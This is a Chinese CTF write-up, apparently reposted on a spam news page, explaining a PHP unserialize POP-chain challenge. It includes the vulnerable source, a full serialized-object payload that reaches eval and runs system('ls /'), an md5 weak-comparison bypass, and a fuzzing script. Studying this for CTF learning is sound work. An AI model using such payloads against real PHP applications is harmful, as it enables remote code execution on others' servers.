当前位置: 首页 > news >正文

深圳建网站制作维护营销培训总结

深圳建网站制作维护,营销培训总结,顺德品牌网站建设信息,网站制作主题花还会重新开,不同的春来了又来。 - 2025.4.11 0x01 声明 仅作为个人学习使用,仅供参考,欢迎交流 可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章 当然很多理解可…

花还会重新开,不同的春来了又来。

- 2025.4.11


0x01 声明

仅作为个人学习使用,仅供参考,欢迎交流

可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章

当然很多理解可能不够到位,还请见谅

此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信

不排除平台会自动设置付费的可能,本人会第一时间关注并处理

0x02 源码

源码如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器

<?phpclass AAA
{public $aear;public $string;public function __construct($a){$this->aear = $a;}function __destruct(){echo $this->aear;}public function __toString() {$new = $this->string;return $new();}
}class BBB
{private $pop;public function __construct($string){$this->pop = $string;}public function __get($value){$var = $this->$value;$var[$value]();}
}class DDD
{public $bag;public $magazine;public function __toString()    {$length = @$this->bag->add();     return $length;                    }public function __set($arg1, $arg2)   {if ($this->magazine->tower) {     echo "really??";}}
}class EEE
{public $d = array();public $e;public $f;public function __get($arg1){$this->d[$this->e] = 1;  if ($this->d[] = 1) {    echo 'nononononnnn!!!';} else {eval($this->f);}}
}class FFF
{protected $cookie;protected function delete(){return $this->cookie;}public function __call($func, $args)  {echo 'hahahhhh';call_user_func([$this, $func . "haha"], $args);}
}class GGG
{public $green;public $book;public function __invoke(){if (md5(md5($this->book)) == 666) { return $this->green->pen;}}
}if (!isset($_POST['UP'])) {highlight_file(__FILE__);
} else {unserialize($_POST['UP']);
}?>

0x03 魔术方法

(下文会有讲解,此处作为参考)

0x04 构造POP链

AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

0x05 分析过程

第一步

构造利用链的第一步是确定链尾,即能够触发远程代码执行RCE)的代码点

eval($this->f),具备执行代码的能力,锁定链尾

-> EEE::__get()

第二步

我们需要考虑如何触发 EEE 类中的 __get() 魔术方法

魔术方法 __get() 触发条件

当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()

例如

class Demo {public $a = "public";private $b = "private";protected $c = "protected";public function __get($name) {return "__get() 被触发了:你访问了 $name";}
}$Demo = new Demo();echo $Demo->a;      // ✅ 直接输出 public
echo $Demo->b;      // ❗触发 __get("b")
echo $Demo->c;      // ❗触发 __get("c")
echo $Demo->d;      // ❗触发 __get("d"),d 不存在

echo $Demo->$value; 如果触发 __get($value)后,

会将 __get($value)方法的返回值 作为 $Demo->$value 的返回值。

访问echo $Demo->b;↓
PHP发现:b 是私有属性,不能访问↓
于是自动调用 __get("b")↓__get() 返回 "__get() 被触发了:你访问了 b"↓
这个值就被当作 $Demo->b 的值返回了!

因此输出:

public                    // public属性
__get() 被触发了:b        // private属性
__get() 被触发了:c        // protected属性
__get() 被触发了:d        // 不存在的属性

回归正题

了解触发条件后,我们发现

如果 $this->green 是 EEE类 的一个对象,
↓ 
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓ 
那么 $this->green->pen; 就会触发 EEE::__get()

 因此

-> GGG::__invoke() -> EEE::__get()

第三步

我们需要考虑如何触发 GGG 类中的 __invoke() 魔术方法

魔术方法 invoke() 触发条件

当对象被当作函数调用时,触发魔术方法 __invoke()

例如

class Demo {public function __invoke($name) {return "__invoke() 被触发了:你传入了 $name";}
}$Demo = new Demo();echo $Demo("Hello");  // ❗触发 __invoke("Hello")
$Demo("Hello")     
↓ 
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓ 
PHP一看:你居然让对象执行函数调用动作
↓ 
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"

回归正题

如果 $this->string是 GGG类 的一个对象
↓ 
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓ 
return $this->string();将$GGG的对象当做函数调用;
↓ 
触发 GGG::__invoke();

  因此

-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第四步

我们需要考虑如何触发 AAA 类中的 __toString() 魔术方法

魔术方法 __toString() 触发条件

当对一个对象执行 echoprint字符串拼接 等操作,触发魔术方法 __toString()

例如

class Demo {public function __toString() {return "__toString() 被触发了!\n";}
}$Demo = new Demo();// 用 echo 输出对象
echo $Demo;  // 用 print 输出对象
print $Demo;  // 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;

输出

__toString() 被触发了!  // 执行 echo 操作
__toString() 被触发了!  // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接

回归正题

如果 $this->aear 是AAA的一个对象
↓ 
echo $this->aear 触发 AAA的__toString()方法
↓ 
AAA::__toString()

 因此

AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第五步

我们需要考虑如何触发 AAA 类中的 __destruct() 魔术方法

魔术方法 __destruct() 触发条件

析构函数会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。

换句话说,

只要你 new 创建一个对象,当它“不再使用”或“被清理掉”,PHP 就会自动帮你调用 __destruct() 做一些“结束前的收尾工作”。

例如

class Demo {public function __destruct() {echo "__destruct() 被触发了!\n";}
}$Demo = new Demo();

输出

__destruct() 被触发了!

回归正题,由于__destruct()特殊的触发条件或者说根本不需要什么条件,我们的POP链也就构造成功了。

除此以外,还需要了解__construct()触发方式

魔术方法 __construct() 触发条件

当你使用 new 创建一个对象时,PHP 会自动调用这个类的 __construct() 方法,触发条件非常简单直接

class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo("橙橙");  // 触发 __construct("橙橙")

输出

你好,橙橙

__construct() 可以有参数:

// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo();    // ❌ 错误:缺少参数
$Demo = new Demo(1);   // ✅ 成功,输出:你好,1// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。

0x06 构造Payload

 构造 Payload 需要本地PHP环境,请参考之前文章 

https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502

https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502

或者自行查阅教程


根据POP链和以上分析,开始构造Payload

AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCEecho serialize($AAA);
// echo urlencode(serialize($AAA));

Payload

 <?phpclass AAA
{public $aear;public $string;// public function __construct($a)// {//     $this->aear = $a;// }// function __destruct()// {//     echo $this->aear;// }// public function __toString() // {//     $new = $this->string;//     return $new();// }
}class BBB
{private $pop;// public function __construct($string)// {//     $this->pop = $string;// }// public function __get($value)// {//     $var = $this->$value;//     $var[$value]();// }
}class DDD
{public $bag;public $magazine;// public function __toString()    // {//     $length = @$this->bag->add();     //     return $length;                    // }// public function __set($arg1, $arg2)   // {//     if ($this->magazine->tower) {     //         echo "really??";//     }// }
}class EEE
{public $d = array();public $e;public $f;// public function __get($arg1)// {//     $this->d[$this->e] = 1;  //     if ($this->d[] = 1) {    //         echo 'nononononnnn!!!';//     } else {//         eval($this->f);//     }// }
}class FFF
{protected $cookie;// protected function delete()// {//     return $this->cookie;// }// public function __call($func, $args)  // {//     echo 'hahahhhh';//     call_user_func([$this, $func . "haha"], $args);// }
}class GGG
{public $green;public $book;// public function __invoke()// {//     if (md5(md5($this->book)) == 666) { //         return $this->green->pen;//     }// }
}$AAA = new AAA(1); 
$AAA->aear=$AAA; 
$AAA->string=new GGG();$AAA->string->book=213;
$AAA->string->green=new EEE();$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>

Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能

所以Urlencode后我一般用Bp提交

绕过点1

$AAA->string->book=213; // 绕过点1

为什么 213 能够绕过呢,== 注意是PHP的弱类型比较

if (md5(md5($this->book)) == 666)
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>// 979d472a84804b9f647bc185a877a8b5  字符串类型
// 666ca9a2be31fd949cb9b55686caef9a  字符串类型
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止例如
'a' -> 0
'1a' -> 1
'123a' -> 123因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true

Fuzz脚本:两次md5加密后,前三位为666且第四位为字母

import hashlibdef find_md5():i = 0res = []while len(res) < 5:# 原始输入orig = str(i)# 第一次md5加密fmd5 = hashlib.md5(orig.encode()).hexdigest()# 第二次md5加密smd5 = hashlib.md5(fmd5.encode()).hexdigest()# 检查是否符合条件:前三位是'666',第四位是字母if smd5[:3] == '666' and smd5[3].isalpha():res.append((orig, smd5))i += 1return res# 获取符合条件的五个实例及其原始输入
result = find_md5()# 打印结果
for orig, smd5 in result:print(f"原始输入: {orig}, 加密结果: {smd5}")

绕过点2

$AAA->string->green->d=1; // 绕过点2
public $d = array();       // $d 被声明为数组
$this->d[$this->e] = 1;    // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
if ($this->d[] = 1){// code...
}// $this->d[] = 1 向数组的末尾赋值1并返回 1 ->  if(1)为true  -> 条件判断恒成立

举个例子

<?php$Demo = array();  // 定义一个空数组$a = '1';
$Demo[$a]=1;if ($Demo[] = 1) {echo "true\n";  // true,条件判断成立
}print_r($Demo) ?>

(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点

重点是 if ($this->d[] = 1) 恒成立,应该怎么绕过呢?

覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。例如:
$AAA->string->green->d = 1;  // 数字
$AAA->string->green->d = '1';  // 字符串
$AAA->string->green->d = NULL;  //  NULL
$AAA->string->green->d = NAN;  // 设置为 NaN

0x07 End

至此,反序列化的分析已全部结束

如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!

http://www.cadmedia.cn/news/8752.html

相关文章:

  • 深圳设计展2022seo诊断分析
  • 台州律师网站建设seo优化服务公司
  • 手机网络不好怎么办苏州关键词优化搜索排名
  • 医院网站建设的目的网页界面设计
  • 家用电脑可以做网站服务器seo推广外包
  • 百度做网站推广台州seo快速排名
  • 中视频自媒体平台注册零基础学seo要多久
  • 网络开发软件优化设计全部答案
  • 广州找人做网站手机百度高级搜索
  • 安徽网站建设公司百度百家自媒体平台注册
  • 软件工程流程seoyoon
  • 怎么用网站建设长尾关键词什么意思
  • 网站建设套餐报价网上销售都有哪些平台
  • b2b网站推广优化广州seo和网络推广
  • strikingly建站工具百度打车客服电话
  • 山西省住房和城乡建设厅网站报名百度企业官网
  • 文山北京网站建设网站建设网络推广seo
  • 被跨境电商骗了怎么办百度seo可能消失
  • 哪个网站可以领单做效果图怎样做推广营销
  • 科技网站制作seo培训费用
  • 建品牌网站公司怎么推广一个app
  • 陕西省建设监理工程协会网站开网站需要投资多少钱
  • 广州网站制作开发公司哪家好百度新闻首页新闻全文
  • 泰安网站建设与优化seo营销
  • 网站建设模式怎么写网络营销方法有哪些
  • 柳州商城网站开发百度权重怎么提高
  • 开发网站设计公司怎么在百度上注册店铺
  • 委托广告公司做的网站违法了云南网站推广公司
  • 全国学校网站建设建网站公司哪里好
  • 南宁网络推广品牌深圳seo优化公司